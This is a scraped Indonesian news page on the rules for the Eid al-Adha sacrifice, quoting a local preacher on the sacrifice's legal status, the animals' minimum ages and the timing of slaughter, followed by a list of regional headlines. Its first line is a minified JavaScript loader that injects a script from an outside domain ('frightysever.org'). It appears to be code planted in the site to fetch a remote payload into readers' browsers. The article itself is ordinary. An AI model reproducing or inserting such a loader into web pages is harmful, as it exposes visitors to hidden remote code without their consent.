(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ACT KALSEL

Sambut Idul Adha dengan Pahami Ketentuan Berkurban


BANJARMASIN,  Sebentar lagi, tak kurang dari satu bulan, Hari Raya Idul Adha atau Hari Raya Kurban akan segera tiba. Namun, sudah bersiap kah Anda untuk menyambut kehadirannya?

Setelah mengetahui tentang makna ibadah kurban, biasanya seseorang akan tergerak untuk melaksanakan ibadah yang memiliki amalan istimewa itu. Berkurban adalah tentang menunjukkan ketakwaan umat kepada Allah. Namun, sebelum itu umat pun harus memahami dahulu apa yang telah menjadi ketentuan-ketentuan berkurban.

Ketua Sahabat Iman yang juga seorang motivator, Ustaz Zulfikar menjelaskan, terdapat beberapa sumber tentang hukum kurban. Pertama dari kisah ulama Syafi’iyah, Malikiyah, dan Hanabillah yang mengkategorikan ibadah kurban itu termasuk sunnah mu’akad. Hal tersebut bermakna bahwa kurban menjadi ibadah sunnah yang diutamakan, terlebih bagi umat yang memiliki kemampuan.

Namun, ada juga kalangan Hanafiyah yang mengatakan berkurban itu wajib. Bahkan, bagi mereka yang tidak memiliki kemampuan sekalipun dan tidak melaksanakan ibadah kuban, maka hukumnya akan menjadi makruh. “Jadi, bagi kita yang memiliki istitha’ah (mampu) diutamakan untuk bisa melakukan kurban,” jelas Ustaz Zulfikar.

Selanjutnya, kriteria hewan kurban juga harus diperhatikan. Ada tiga syarat utama agar hewan yang dikurbankan sah dalam ketentuan Islam. Hewan harus berupa Bahimatul An’am (hewan ternak), memenuhi usia minimal untuk setiap jenis hewan, dan sehat.

“Usianya beragam, domba itu minmal 6 bulan, kambing 1 tahun, sapi 1 sampai 2 tahun, sedangkan unta antara 3 dan 4 tahun,” papar Ustaz Zulfikar.

Ia melanjutkan, waktu pelakasanaan penyembelihan hewan kurban adalah setelah salat Iduladha. Seperti yang tercantum pada Surat Al-Kautsar ayat dua yang berbunyi, “Salatlah untuk Rabb-mu dan berkurbanlah.” Maka waktu lebih tepatnya adalah ketika ketika hari raya yang jatuh setiap tanggal 10 Zulhijah.

“Waktu yang lebih pas tetap pada tanggal 10 Zulhijah, meski terjadi perluasan bahwa bisa menyembelih sampai tiga hari tasyrik,” tambahnya.

Melengkapi pengetahuan makna berkurban dan memahami ketentuannya, Ustaz Zulfikar berharap akan ada banyak lagi umat yang tergerak untuk menunaikan ibadah kurban. Sehingga, kebahagiaan perayaan hari raya istimewa itu dapat merata ke seluruh umat Muslim di Indonesia, dan juga mancanegara. (act)

Reporter:Act
Editor:Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

6 menit ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

14 menit ago

Pascabanjir Bandang Balangan 48 Rumah Mulai Diperbaiki

KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More

24 menit ago

Serah Terima Aset Pemkab Kapuas – Kejari, Bupati Wiyatno: Lahan akan Dijadikan Taman

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More

4 jam ago

Memperkuat Iman Peringati Isra Mikraj Warga Binaan Rutan Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More

4 jam ago

Bupati Kapuas Serahkan Bantuan Korban Kebakaran di Desa Pantai Kapuas Barat

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More

4 jam ago

This website uses cookies.